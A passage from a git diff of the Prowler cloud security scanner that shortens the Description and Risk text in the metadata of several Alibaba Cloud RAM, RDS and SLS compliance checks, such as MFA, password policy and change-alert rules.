modify, or delete any resource. This poses a critical risk to the **confidentiality**, **integrity**, and **availability** of all cloud resources and data.", + "Description": "**Alibaba Cloud RAM** access keys provide programmatic access to an account. The **root account** is the most privileged user and should not have access keys. All root access keys should be removed to limit compromise vectors and encourage **role-based accounts** following the principle of least privilege.", + "Risk": "The **root account** has unrestricted access to all resources and services. If its access keys are compromised, an attacker gains **full administrative control**, including ability to create, modify, or delete any resource. This poses critical risk to the **confidentiality**, **integrity**, and **availability** of all cloud resources and data.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/doc-detail/102600.htm", diff --git a/prowler/providers/alibabacloud/services/ram/ram_password_policy_max_password_age/ram_password_policy_max_password_age.metadata.json b/prowler/providers/alibabacloud/services/ram/ram_password_policy_max_password_age/ram_password_policy_max_password_age.metadata.json index 88e9292d37..b365325db0 100644 --- a/prowler/providers/alibabacloud/services/ram/ram_password_policy_max_password_age/ram_password_policy_max_password_age.metadata.json +++ b/prowler/providers/alibabacloud/services/ram/ram_password_policy_max_password_age/ram_password_policy_max_password_age.metadata.json @@ -9,8 +9,8 @@ "Severity": "medium", "ResourceType": "ALIYUN::RAM::SecurityPreference", "ResourceGroup": "IAM", - "Description": "**Alibaba Cloud RAM** password policies can require passwords to be expired after a given number of days. It is recommended that the password policy expire passwords after **365 days** or less to ensure periodic credential rotation. The CIS benchmark recommends an **annual password reset** as a balanced approach that avoids forcing overly frequent changes while still ensuring compromised credentials have a limited lifespan.", - "Risk": "Without a maximum password age policy, compromised passwords can remain valid **indefinitely**, giving attackers persistent access to cloud resources. While overly frequent password changes can encourage users to choose weak variants, a reasonable maximum age of **365 days** ensures that any compromised credentials are eventually invalidated, reducing the window of opportunity for unauthorized access and protecting the **confidentiality** and **integrity** of account data.", + "Description": "**Alibaba Cloud RAM** password policies can require passwords to expire after a given number of days. It is recommended to expire passwords after **365 days** or less for periodic credential rotation. The CIS benchmark recommends an **annual reset** as a balanced approach that avoids overly frequent changes while ensuring compromised credentials have a limited lifespan.", + "Risk": "Without a maximum password age, compromised passwords remain valid **indefinitely**, giving attackers persistent access. A reasonable maximum of **365 days** ensures compromised credentials are eventually invalidated, reducing the window for unauthorized access and protecting **confidentiality** and **integrity** of account data.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/doc-detail/116413.htm", diff --git a/prowler/providers/alibabacloud/services/ram/ram_password_policy_minimum_length/ram_password_policy_minimum_length.metadata.json b/prowler/providers/alibabacloud/services/ram/ram_password_policy_minimum_length/ram_password_policy_minimum_length.metadata.json index fd1be8c195..e8c3ec01ab 100644 --- a/prowler/providers/alibabacloud/services/ram/ram_password_policy_minimum_length/ram_password_policy_minimum_length.metadata.json +++ b/prowler/providers/alibabacloud/services/ram/ram_password_policy_minimum_length/ram_password_policy_minimum_length.metadata.json @@ -10,7 +10,7 @@ "ResourceType": "ALIYUN::RAM::SecurityPreference", "ResourceGroup": "IAM", "Description": "**Alibaba Cloud RAM** password policies can be used to enforce password complexity requirements. It is recommended that the password policy require a minimum of **14 or greater characters** for any password. Longer passwords provide exponentially more security against automated password cracking, as the keyspace increases dramatically with each additional character.", - "Risk": "Allowing short passwords significantly reduces the effort required for **brute force attacks** to succeed. Passwords shorter than **14 characters** can be cracked in a fraction of the time compared to longer passwords, potentially compromising the **confidentiality** of user accounts. This can lead to unauthorized access to cloud resources and sensitive data, affecting the overall **integrity** and **availability** of the environment.", + "Risk": "Short passwords significantly reduce the effort required for **brute force attacks**. Passwords shorter than **14 characters** can be cracked much faster, potentially compromising **confidentiality** of user accounts. This can lead to unauthorized access to cloud resources and sensitive data, affecting the **integrity** and **availability** of the environment.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/doc-detail/116413.htm", diff --git a/prowler/providers/alibabacloud/services/ram/ram_password_policy_password_reuse_prevention/ram_password_policy_password_reuse_prevention.metadata.json b/prowler/providers/alibabacloud/services/ram/ram_password_policy_password_reuse_prevention/ram_password_policy_password_reuse_prevention.metadata.json index 43b3f7ae5d..199900a958 100644 --- a/prowler/providers/alibabacloud/services/ram/ram_password_policy_password_reuse_prevention/ram_password_policy_password_reuse_prevention.metadata.json +++ b/prowler/providers/alibabacloud/services/ram/ram_password_policy_password_reuse_prevention/ram_password_policy_password_reuse_prevention.metadata.json @@ -10,7 +10,7 @@ "ResourceType": "ALIYUN::RAM::SecurityPreference", "ResourceGroup": "IAM", "Description": "**Alibaba Cloud RAM** password policies can be configured to prevent the reuse of previously used passwords. It is recommended that the password policy prevent the reuse of passwords to ensure users cannot cycle back to previously compromised credentials. This increases account resiliency against **brute force logon attempts** and reduces the risk of credential reuse attacks.", - "Risk": "Without **password reuse prevention**, users may cycle back to previously compromised passwords. If a password was compromised in the past and is later reused, attackers with knowledge of old credentials can regain access to the account, threatening the **confidentiality** and **integrity** of cloud resources. This significantly weakens the overall security posture of the Alibaba Cloud environment.", + "Risk": "Without **password reuse prevention**, users may cycle back to previously compromised passwords. Attackers with knowledge of old credentials can regain access, threatening the **confidentiality** and **integrity** of cloud resources. This weakens the overall security posture of the Alibaba Cloud environment.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/doc-detail/116413.htm", diff --git a/prowler/providers/alibabacloud/services/ram/ram_policy_attached_only_to_group_or_roles/ram_policy_attached_only_to_group_or_roles.metadata.json b/prowler/providers/alibabacloud/services/ram/ram_policy_attached_only_to_group_or_roles/ram_policy_attached_only_to_group_or_roles.metadata.json index 5c895dc0ca..20afdf2dca 100644 --- a/prowler/providers/alibabacloud/services/ram/ram_policy_attached_only_to_group_or_roles/ram_policy_attached_only_to_group_or_roles.metadata.json +++ b/prowler/providers/alibabacloud/services/ram/ram_policy_attached_only_to_group_or_roles/ram_policy_attached_only_to_group_or_roles.metadata.json @@ -9,8 +9,8 @@ "Severity": "low", "ResourceType": "ALIYUN::RAM::ManagedPolicy", "ResourceGroup": "IAM", - "Description": "**Alibaba Cloud RAM** users, groups, and roles have no access to resources by default. RAM policies are the means by which privileges are granted to users, groups, or roles. It is recommended that RAM policies be applied directly to **groups and roles** but not to individual users. This simplifies access management and reduces the likelihood of granting unintended permissions as the number of users grows.", - "Risk": "Assigning privileges directly to individual users instead of **groups or roles** increases the complexity of access management. As the number of users grows, this complexity can lead to principals inadvertently receiving or retaining **excessive privileges**, threatening the **confidentiality** and **integrity** of cloud resources. It also makes auditing and compliance reviews significantly more difficult.", + "Description": "**Alibaba Cloud RAM** users, groups, and roles have no access by default. RAM policies grant privileges to these principals. It is recommended to apply policies to **groups and roles** rather than individual users, simplifying access management and reducing unintended permissions as the number of users grows.", + "Risk": "Assigning privileges directly to users instead of **groups or roles** increases access management complexity. As users grow, this can lead to principals receiving **excessive privileges**, threatening **confidentiality** and **integrity** of cloud resources. It also makes auditing and compliance reviews significantly harder.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/doc-detail/116820.htm", diff --git a/prowler/providers/alibabacloud/services/ram/ram_policy_no_administrative_privileges/ram_policy_no_administrative_privileges.metadata.json b/prowler/providers/alibabacloud/services/ram/ram_policy_no_administrative_privileges/ram_policy_no_administrative_privileges.metadata.json index 27fbeff47c..739d97a51b 100644 --- a/prowler/providers/alibabacloud/services/ram/ram_policy_no_administrative_privileges/ram_policy_no_administrative_privileges.metadata.json +++ b/prowler/providers/alibabacloud/services/ram/ram_policy_no_administrative_privileges/ram_policy_no_administrative_privileges.metadata.json @@ -9,7 +9,7 @@ "Severity": "critical", "ResourceType": "ALIYUN::RAM::ManagedPolicy", "ResourceGroup": "IAM", - "Description": "**Alibaba Cloud RAM** policies represent permissions that can be granted to users, groups, or roles. It is recommended to follow the principle of **least privilege** by granting only the permissions required to perform specific tasks. RAM policies with `\"Effect\": \"Allow\"`, `\"Action\": \"*\"`, and `\"Resource\": \"*\"` should be avoided as they grant full administrative access to all resources and services.", + "Description": "**Alibaba Cloud RAM** policies grant permissions to users, groups, or roles. Follow the principle of **least privilege** by granting only required permissions. Policies with `\"Effect\": \"Allow\"`, `\"Action\": \"*\"`, and `\"Resource\": \"*\"` should be avoided as they grant full administrative access to all resources.", "Risk": "RAM policies granting **full administrative privileges** (`*:*`) expose all cloud resources to potentially unwanted actions. If such a policy is attached to a compromised user, group, or role, an attacker gains unrestricted access to create, modify, or delete any resource, severely impacting the **confidentiality**, **integrity**, and **availability** of the entire Alibaba Cloud environment.", "RelatedUrl": "", "AdditionalURLs": [ diff --git a/prowler/providers/alibabacloud/services/ram/ram_user_console_access_unused/ram_user_console_access_unused.metadata.json b/prowler/providers/alibabacloud/services/ram/ram_user_console_access_unused/ram_user_console_access_unused.metadata.json index 3d920c351e..6cb920bc55 100644 --- a/prowler/providers/alibabacloud/services/ram/ram_user_console_access_unused/ram_user_console_access_unused.metadata.json +++ b/prowler/providers/alibabacloud/services/ram/ram_user_console_access_unused/ram_user_console_access_unused.metadata.json @@ -10,7 +10,7 @@ "ResourceType": "ALIYUN::RAM::User", "ResourceGroup": "IAM", "Description": "**Alibaba Cloud RAM** users can log on to the console by using their username and password. If a user has not logged on for **90 days or longer**, it is recommended to disable the console access of the user. Disabling unused console access reduces the attack surface by removing unnecessary logon capabilities from potentially abandoned or dormant accounts.", - "Risk": "Inactive accounts with console access enabled are common targets for attackers attempting **account takeover**. An abandoned user account or one with a **compromised password** that has not been used in over 90 days may go unmonitored, allowing unauthorized access to go undetected. This poses a significant risk to the **confidentiality** and **integrity** of cloud resources accessible through the compromised account.", + "Risk": "Inactive accounts with console access are common targets for **account takeover**. An abandoned account or one with a **compromised password** unused for over 90 days may go unmonitored, allowing undetected unauthorized access. This risks the **confidentiality** and **integrity** of cloud resources accessible through the account.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/doc-detail/116820.htm", diff --git a/prowler/providers/alibabacloud/services/ram/ram_user_mfa_enabled_console_access/ram_user_mfa_enabled_console_access.metadata.json b/prowler/providers/alibabacloud/services/ram/ram_user_mfa_enabled_console_access/ram_user_mfa_enabled_console_access.metadata.json index 92b537df54..13b738620d 100644 --- a/prowler/providers/alibabacloud/services/ram/ram_user_mfa_enabled_console_access/ram_user_mfa_enabled_console_access.metadata.json +++ b/prowler/providers/alibabacloud/services/ram/ram_user_mfa_enabled_console_access/ram_user_mfa_enabled_console_access.metadata.json @@ -9,8 +9,8 @@ "Severity": "high", "ResourceType": "ALIYUN::RAM::User", "ResourceGroup": "IAM", - "Description": "**Alibaba Cloud RAM** supports **Multi-Factor Authentication (MFA)**, which adds an extra layer of protection on top of a username and password. With MFA enabled, when a user logs on to the console, they are prompted for their username and password followed by an authentication code from their virtual MFA device. It is recommended that MFA be enabled for all RAM users that have a console password to significantly strengthen account security.", - "Risk": "Without **MFA** enabled, RAM user accounts rely solely on passwords for authentication. If a password is compromised through phishing, credential stuffing, or other attacks, an attacker gains full access to the account. Enabling MFA requires an additional authentication factor, making it significantly harder for attackers to gain unauthorized access even with compromised credentials, thereby protecting the **confidentiality**, **integrity**, and **availability** of cloud resources.", + "Description": "**Alibaba Cloud RAM** supports **MFA**, adding protection on top of username and password. With MFA enabled, console logon requires an authentication code from a virtual MFA device after entering credentials. MFA should be enabled for all RAM users with console passwords to strengthen account security.", + "Risk": "Without **MFA**, RAM accounts rely solely on passwords. If compromised through phishing or credential stuffing, an attacker gains full account access. MFA requires an additional factor, making unauthorized access significantly harder even with compromised credentials, protecting **confidentiality**, **integrity**, and **availability** of cloud resources.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/doc-detail/119555.htm", diff --git a/prowler/providers/alibabacloud/services/rds/rds_instance_sql_audit_enabled/rds_instance_sql_audit_enabled.metadata.json b/prowler/providers/alibabacloud/services/rds/rds_instance_sql_audit_enabled/rds_instance_sql_audit_enabled.metadata.json index 76ed06d5b5..ee0e937667 100644 --- a/prowler/providers/alibabacloud/services/rds/rds_instance_sql_audit_enabled/rds_instance_sql_audit_enabled.metadata.json +++ b/prowler/providers/alibabacloud/services/rds/rds_instance_sql_audit_enabled/rds_instance_sql_audit_enabled.metadata.json @@ -9,7 +9,7 @@ "Severity": "medium", "ResourceType": "ALIYUN::RDS::DBInstance", "ResourceGroup": "database", - "Description": "**Alibaba Cloud RDS instances** should have **SQL auditing** (SQL Explorer) enabled to track database events and write them to an audit log. SQL auditing helps maintain **regulatory compliance**, understand database activity, and gain insight into discrepancies and anomalies that could indicate business concerns or suspected security violations. This applies to all RDS engine types except SQL Server 2012/2016/2017 and MariaDB TX.", + "Description": "**Alibaba Cloud RDS instances** should have **SQL auditing** (SQL Explorer) enabled to track database events in an audit log. This helps maintain **regulatory compliance**, understand database activity, and detect anomalies indicating security violations. Applies to all RDS engines except SQL Server 2012/2016/2017 and MariaDB TX.", "Risk": "Without **SQL auditing**, it is difficult to detect **unauthorized access**, **data breaches**, or **malicious activity** within the database. The absence of audit logs hinders **forensic investigations**, compliance reporting, and the ability to identify **data exfiltration** or **privilege escalation** attempts, impacting **confidentiality** and **integrity**.", "RelatedUrl": "", "AdditionalURLs": [ diff --git a/prowler/providers/alibabacloud/services/sls/sls_cloud_firewall_changes_alert_enabled/sls_cloud_firewall_changes_alert_enabled.metadata.json b/prowler/providers/alibabacloud/services/sls/sls_cloud_firewall_changes_alert_enabled/sls_cloud_firewall_changes_alert_enabled.metadata.json index 0e64eb6412..a9b7a94dca 100644 --- a/prowler/providers/alibabacloud/services/sls/sls_cloud_firewall_changes_alert_enabled/sls_cloud_firewall_changes_alert_enabled.metadata.json +++ b/prowler/providers/alibabacloud/services/sls/sls_cloud_firewall_changes_alert_enabled/sls_cloud_firewall_changes_alert_enabled.metadata.json @@ -9,8 +9,8 @@ "Severity": "medium", "ResourceType": "ALIYUN::SLS::Alert", "ResourceGroup": "monitoring", - "Description": "**Alibaba Cloud Simple Log Service (SLS)** should have a metric filter and alarm configured for **Cloud Firewall** rule changes. By directing **ActionTrail** logs to SLS and establishing corresponding query and alert rules, real-time monitoring of firewall modifications can be achieved. This ensures that any creation, update, or deletion of Cloud Firewall control policies is promptly detected and reviewed.", - "Risk": "Without monitoring for **Cloud Firewall** changes, unauthorized or accidental modifications to firewall rules may go undetected. This could lead to **network exposure**, allowing malicious traffic to reach protected resources or blocking legitimate traffic. Failure to detect firewall rule changes in a timely manner increases the risk of **data breaches**, **lateral movement**, and **service disruption**.", + "Description": "**Alibaba Cloud SLS** should have an alarm configured for **Cloud Firewall** rule changes. By directing **ActionTrail** logs to SLS with alert rules, real-time monitoring of firewall modifications is achieved. This ensures creation, update, or deletion of Cloud Firewall control policies is promptly detected and reviewed.", + "Risk": "Without monitoring for **Cloud Firewall** changes, unauthorized modifications to firewall rules may go undetected, leading to **network exposure** or blocked legitimate traffic. Failure to detect changes timely increases risk of **data breaches**, **lateral movement**, and **service disruption**.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/en/doc-detail/91784.htm", diff --git a/prowler/providers/alibabacloud/services/sls/sls_customer_created_cmk_changes_alert_enabled/sls_customer_created_cmk_changes_alert_enabled.metadata.json b/prowler/providers/alibabacloud/services/sls/sls_customer_created_cmk_changes_alert_enabled/sls_customer_created_cmk_changes_alert_enabled.metadata.json index 0aacaf5541..0d988e971a 100644 --- a/prowler/providers/alibabacloud/services/sls/sls_customer_created_cmk_changes_alert_enabled/sls_customer_created_cmk_changes_alert_enabled.metadata.json +++ b/prowler/providers/alibabacloud/services/sls/sls_customer_created_cmk_changes_alert_enabled/sls_customer_created_cmk_changes_alert_enabled.metadata.json @@ -9,8 +9,8 @@ "Severity": "medium", "ResourceType": "ALIYUN::SLS::Alert", "ResourceGroup": "monitoring", - "Description": "**Alibaba Cloud Simple Log Service (SLS)** should have a query and alarm configured for customer-created **KMS Customer Master Keys (CMKs)** that have changed state to disabled or scheduled for deletion. Real-time monitoring of API calls can be achieved by directing **ActionTrail** logs to SLS and establishing corresponding alert rules. This ensures that any disabling or deletion of encryption keys is promptly detected, preventing accidental or malicious loss of access to encrypted data.", - "Risk": "Without monitoring for **CMK state changes**, data encrypted with **disabled or deleted keys** will become permanently inaccessible. This could lead to **data loss**, **business disruption**, and **compliance violations**. Malicious actors who gain access to the KMS service could silently disable or schedule deletion of critical encryption keys, rendering protected data unrecoverable if not detected in time.", + "Description": "**Alibaba Cloud SLS** should have an alarm configured for customer-created **KMS CMKs** that are disabled or scheduled for deletion. By directing **ActionTrail** logs to SLS with alert rules, disabling or deletion of encryption keys is promptly detected, preventing accidental or malicious loss of access to encrypted data.", + "Risk": "Without monitoring for **CMK state changes**, data encrypted with **disabled or deleted keys** becomes permanently inaccessible, leading to **data loss**, **business disruption**, and **compliance violations**. Malicious actors could silently disable or schedule deletion of encryption keys, rendering data unrecoverable.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/en/doc-detail/91784.htm", diff --git a/prowler/providers/alibabacloud/services/sls/sls_logstore_retention_period/sls_logstore_retention_period.metadata.json b/prowler/providers/alibabacloud/services/sls/sls_logstore_retention_period/sls_logstore_retention_period.metadata.json index 828a15bfb7..5674c64ac4 100644 --- a/prowler/providers/alibabacloud/services/sls/sls_logstore_retention_period/sls_logstore_retention_period.metadata.json +++ b/prowler/providers/alibabacloud/services/sls/sls_logstore_retention_period/sls_logstore_retention_period.metadata.json @@ -10,7 +10,7 @@ "ResourceType": "ALIYUN::SLS::Logstore", "ResourceGroup": "monitoring", "Description": "**Alibaba Cloud Simple Log Service (SLS)** Logstore data retention should be configured for at least **365 days**. The Logstore retention period controls how long activity logs are stored and available for analysis. Ensuring a minimum retention of `365` days provides sufficient time to investigate security incidents, perform forensic analysis, and meet regulatory compliance requirements.", - "Risk": "Insufficient log retention periods may result in the **loss of forensic evidence** needed for security investigations and incident response. If logs are deleted before an incident is detected, it becomes impossible to determine the scope, impact, and root cause of security breaches. Short retention periods may also lead to **compliance violations** with regulations that mandate specific log retention durations, affecting the organization's **integrity** and **accountability**.", + "Risk": "Insufficient log retention may result in **loss of forensic evidence** for security investigations. If logs are deleted before an incident is detected, determining the scope and root cause of breaches becomes impossible. Short retention may also cause **compliance violations** with regulations mandating specific durations, affecting **integrity** and **accountability**.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/doc-detail/48990.htm", diff --git a/prowler/providers/alibabacloud/services/sls/sls_management_console_authentication_failures_alert_enabled/sls_management_console_authentication_failures_alert_enabled.metadata.json b/prowler/providers/alibabacloud/services/sls/sls_management_console_authentication_failures_alert_enabled/sls_management_console_authentication_failures_alert_enabled.metadata.json index a99cff9645..6d00bd7813 100644 --- a/prowler/providers/alibabacloud/services/sls/sls_management_console_authentication_failures_alert_enabled/sls_management_console_authentication_failures_alert_enabled.metadata.json +++ b/prowler/providers/alibabacloud/services/sls/sls_management_console_authentication_failures_alert_enabled/sls_management_console_authentication_failures_alert_enabled.metadata.json @@ -9,8 +9,8 @@ "Severity": "medium", "ResourceType": "ALIYUN::SLS::Alert", "ResourceGroup": "monitoring", - "Description": "**Alibaba Cloud Simple Log Service (SLS)** should have a query and alarm configured for **failed console authentication attempts**. Real-time monitoring of API calls can be achieved by directing **ActionTrail** logs to SLS and establishing corresponding alert rules. This ensures that repeated login failures are detected promptly, enabling early identification of brute-force attacks or credential stuffing attempts against the Management Console.", - "Risk": "Without monitoring for **failed console authentication attempts**, brute-force attacks and credential stuffing campaigns may go undetected. Failure to identify these patterns increases the risk of **unauthorized access** to the Management Console. Monitoring failed logins provides critical indicators such as source IP addresses that can be used for **threat correlation** and proactive blocking, reducing the time to detect and respond to **account compromise** attempts.", + "Description": "**Alibaba Cloud SLS** should have an alarm configured for **failed console authentication attempts**. By directing **ActionTrail** logs to SLS with alert rules, repeated login failures are detected promptly, enabling early identification of brute-force or credential stuffing attacks against the Management Console.", + "Risk": "Without monitoring for **failed console authentication**, brute-force and credential stuffing attacks may go undetected, increasing the risk of **unauthorized access**. Failed login monitoring provides source IP indicators for **threat correlation** and proactive blocking, reducing time to detect and respond to **account compromise** attempts.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/en/doc-detail/91784.htm", diff --git a/prowler/providers/alibabacloud/services/sls/sls_management_console_signin_without_mfa_alert_enabled/sls_management_console_signin_without_mfa_alert_enabled.metadata.json b/prowler/providers/alibabacloud/services/sls/sls_management_console_signin_without_mfa_alert_enabled/sls_management_console_signin_without_mfa_alert_enabled.metadata.json index f67c4faf3c..4d8e962d8b 100644 --- a/prowler/providers/alibabacloud/services/sls/sls_management_console_signin_without_mfa_alert_enabled/sls_management_console_signin_without_mfa_alert_enabled.metadata.json +++ b/prowler/providers/alibabacloud/services/sls/sls_management_console_signin_without_mfa_alert_enabled/sls_management_console_signin_without_mfa_alert_enabled.metadata.json @@ -9,8 +9,8 @@ "Severity": "medium", "ResourceType": "ALIYUN::SLS::Alert", "ResourceGroup": "monitoring", - "Description": "**Alibaba Cloud Simple Log Service (SLS)** should have a query and alarm configured for console logins that are not protected by **multi-factor authentication (MFA)**. Real-time monitoring of API calls can be achieved by directing **ActionTrail** logs to SLS and establishing corresponding alert rules. This ensures that any single-factor console sign-in events are detected, helping identify accounts that bypass MFA enforcement policies.", - "Risk": "Without monitoring for **single-factor console logins**, accounts that are not protected by MFA may go unnoticed. This increases the risk of **unauthorized access** through compromised credentials, as passwords alone are insufficient to prevent account takeover. Failure to enforce and monitor MFA compliance weakens the overall **authentication posture** and may lead to **privilege escalation** or **data breaches** if an attacker gains access to an unprotected account.", + "Description": "**Alibaba Cloud SLS** should have an alarm configured for console logins not protected by **MFA**. By directing **ActionTrail** logs to SLS with alert rules, single-factor console sign-in events are detected, helping identify accounts that bypass MFA enforcement policies.", + "Risk": "Without monitoring for **single-factor logins**, accounts not protected by MFA may go unnoticed, increasing risk of **unauthorized access** through compromised credentials. Failure to monitor MFA compliance weakens **authentication posture** and may lead to **privilege escalation** or **data breaches** if an attacker accesses an unprotected account.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/en/doc-detail/91784.htm", diff --git a/prowler/providers/alibabacloud/services/sls/sls_oss_bucket_policy_changes_alert_enabled/sls_oss_bucket_policy_changes_alert_enabled.metadata.json b/prowler/providers/alibabacloud/services/sls/sls_oss_bucket_policy_changes_alert_enabled/sls_oss_bucket_policy_changes_alert_enabled.metadata.json index df8c4abfa0..7f73a78ab5 100644 --- a/prowler/providers/alibabacloud/services/sls/sls_oss_bucket_policy_changes_alert_enabled/sls_oss_bucket_policy_changes_alert_enabled.metadata.json +++ b/prowler/providers/alibabacloud/services/sls/sls_oss_bucket_policy_changes_alert_enabled/sls_oss_bucket_policy_changes_alert_enabled.metadata.json @@ -9,8 +9,8 @@ "Severity": "medium", "ResourceType": "ALIYUN::SLS::Alert", "ResourceGroup": "monitoring", - "Description": "**Alibaba Cloud Simple Log Service (SLS)** should have a query and alarm configured for changes to **OSS bucket policies**. Real-time monitoring of API calls can be achieved by directing **ActionTrail** logs to SLS and establishing corresponding alert rules. This ensures that any modifications to bucket access policies are detected promptly, enabling quick identification of potentially dangerous permission changes on sensitive storage resources.", - "Risk": "Without monitoring for **OSS bucket policy changes**, permissive or malicious policy modifications may go undetected. This could lead to **unintended data exposure**, allowing unauthorized users to access, modify, or delete sensitive objects stored in OSS buckets. Delayed detection of policy changes increases the risk of **data breaches**, **data exfiltration**, and **compliance violations**, as attackers could silently widen access to critical storage resources.", + "Description": "**Alibaba Cloud SLS** should have an alarm configured for **OSS bucket policy** changes. By directing **ActionTrail** logs to SLS with alert rules, modifications to bucket access policies are detected promptly, enabling quick identification of dangerous permission changes on sensitive storage resources.", + "Risk": "Without monitoring for **OSS bucket policy changes**, malicious modifications may go undetected, leading to **unintended data exposure**. Unauthorized users could access or delete sensitive objects. Delayed detection increases risk of **data breaches**, **data exfiltration**, and **compliance violations** as attackers silently widen access to storage resources.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/en/doc-detail/91784.htm", diff --git a/prowler/providers/alibabacloud/services/sls/sls_oss_permission_changes_alert_enabled/sls_oss_permission_changes_alert_enabled.metadata.json b/prowler/providers/alibabacloud/services/sls/sls_oss_permission_changes_alert_enabled/sls_oss_permission_changes_alert_enabled.metadata.json index b6ec2c6aa1..88c8294844 100644 --- a/prowler/providers/alibabacloud/services/sls/sls_oss_permission_changes_alert_enabled/sls_oss_permission_changes_alert_enabled.metadata.json +++ b/prowler/providers/alibabacloud/services/sls/sls_oss_permission_changes_alert_enabled/sls_oss_permission_changes_alert_enabled.metadata.json @@ -9,8 +9,8 @@ "Severity": "medium", "ResourceType": "ALIYUN::SLS::Alert", "ResourceGroup": "monitoring", - "Description": "**Alibaba Cloud Simple Log Service (SLS)** should have a metric filter and alarm configured for **OSS Bucket RAM** permission changes. By directing **ActionTrail** logs to SLS and establishing corresponding alert rules, real-time monitoring of OSS permission modifications can be achieved. This ensures that changes to bucket-level access controls and RAM policies affecting OSS resources are promptly detected and reviewed.", - "Risk": "Without monitoring for **OSS permission changes**, unauthorized modifications to bucket access controls may go undetected. This could allow attackers to grant themselves or others **unauthorized access** to sensitive objects stored in OSS buckets. Delayed detection of permission changes increases the risk of **data exfiltration**, **data tampering**, and **compliance violations**, as the confidentiality and integrity of stored data may be compromised.", + "Description": "**Alibaba Cloud SLS** should have an alarm configured for **OSS Bucket RAM** permission changes. By directing **ActionTrail** logs to SLS with alert rules, OSS permission modifications are monitored in real time. This ensures changes to bucket access controls and RAM policies affecting OSS are promptly detected.", + "Risk": "Without monitoring for **OSS permission changes**, unauthorized modifications to bucket access controls may go undetected, allowing attackers **unauthorized access** to sensitive objects. Delayed detection increases risk of **data exfiltration**, **data tampering**, and **compliance violations**, compromising confidentiality and integrity of stored data.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/en/doc-detail/91784.htm", diff --git a/prowler/providers/alibabacloud/services/sls/sls_ram_role_changes_alert_enabled/sls_ram_role_changes_alert_enabled.metadata.json b/prowler/providers/alibabacloud/services/sls/sls_ram_role_changes_alert_enabled/sls_ram_role_changes_alert_enabled.metadata.json index 448cfa58c2..ea1e139646 100644 --- a/prowler/providers/alibabacloud/services/sls/sls_ram_role_changes_alert_enabled/sls_ram_role_changes_alert_enabled.metadata.json +++ b/prowler/providers/alibabacloud/services/sls/sls_ram_role_changes_alert_enabled/sls_ram_role_changes_alert_enabled.metadata.json @@ -9,8 +9,8 @@ "Severity": "medium", "ResourceType": "ALIYUN::SLS::Alert", "ResourceGroup": "monitoring", - "Description": "**Alibaba Cloud Simple Log Service (SLS)** should have a query and alarm configured for **RAM Role** creation, deletion, and updating activities. By directing **ActionTrail** logs to SLS and establishing corresponding alert rules, real-time monitoring of role changes can be achieved. This ensures that any modifications to RAM roles are detected promptly, enabling early identification of unauthorized privilege escalation attempts.", - "Risk": "Without monitoring for **RAM role changes**, unauthorized creation, modification, or deletion of roles may go undetected. This could lead to **privilege escalation**, where an attacker creates or modifies roles to gain elevated access to cloud resources. Undetected role changes compromise the **integrity** of the identity and access management framework and may result in **unauthorized access** to sensitive data and services across the entire cloud environment.", + "Description": "**Alibaba Cloud SLS** should have an alarm configured for **RAM Role** creation, deletion, and update activities. By directing **ActionTrail** logs to SLS with alert rules, role changes are monitored in real time. This ensures RAM role modifications are detected promptly, enabling early identification of unauthorized privilege escalation.", + "Risk": "Without monitoring for **RAM role changes**, unauthorized creation, modification, or deletion of roles may go undetected, enabling **privilege escalation** where attackers gain elevated access. Undetected role changes compromise IAM **integrity** and may result in **unauthorized access** to sensitive data and services across the cloud environment.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/doc-detail/91784.htm", diff --git a/prowler/providers/alibabacloud/services/sls/sls_rds_instance_configuration_changes_alert_enabled/sls_rds_instance_configuration_changes_alert_enabled.metadata.json b/prowler/providers/alibabacloud/services/sls/sls_rds_instance_configuration_changes_alert_enabled/sls_rds_instance_configuration_changes_alert_enabled.metadata.json index 202a24b167..dd58567318 100644 --- a/prowler/providers/alibabacloud/services/sls/sls_rds_instance_configuration_changes_alert_enabled/sls_rds_instance_configuration_changes_alert_enabled.metadata.json +++ b/prowler/providers/alibabacloud/services/sls/sls_rds_instance_configuration_changes_alert_enabled/sls_rds_instance_configuration_changes_alert_enabled.metadata.json @@ -9,8 +9,8 @@ "Severity": "medium", "ResourceType": "ALIYUN::SLS::Alert", "ResourceGroup": "monitoring", - "Description": "**Alibaba Cloud Simple Log Service (SLS)** should have a metric filter and alarm configured for **RDS Instance** configuration changes. By directing **ActionTrail** logs to SLS and establishing corresponding alert rules, real-time monitoring of database configuration modifications can be achieved. This ensures that any changes to RDS instance settings, such as security parameters, network configurations, or access controls, are promptly detected and reviewed.", - "Risk": "Without monitoring for **RDS Instance configuration changes**, unauthorized or accidental modifications to database servers may go undetected. This could lead to **security misconfigurations** such as enabling public access, disabling encryption, or weakening authentication settings. Delayed detection of configuration changes increases the risk of **data breaches**, **unauthorized database access**, and **service disruption**, potentially compromising the **confidentiality** and **integrity** of stored data.", + "Description": "**Alibaba Cloud SLS** should have an alarm configured for **RDS Instance** configuration changes. By directing **ActionTrail** logs to SLS with alert rules, database configuration modifications are monitored in real time. This ensures changes to security parameters, network settings, or access controls are promptly detected.", + "Risk": "Without monitoring for **RDS configuration changes**, unauthorized modifications may go undetected, leading to **security misconfigurations** such as enabling public access or disabling encryption. Delayed detection increases risk of **data breaches**, **unauthorized database access**, and **service disruption**, compromising **confidentiality** and **integrity** of stored data.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/en/doc-detail/91784.htm", diff --git 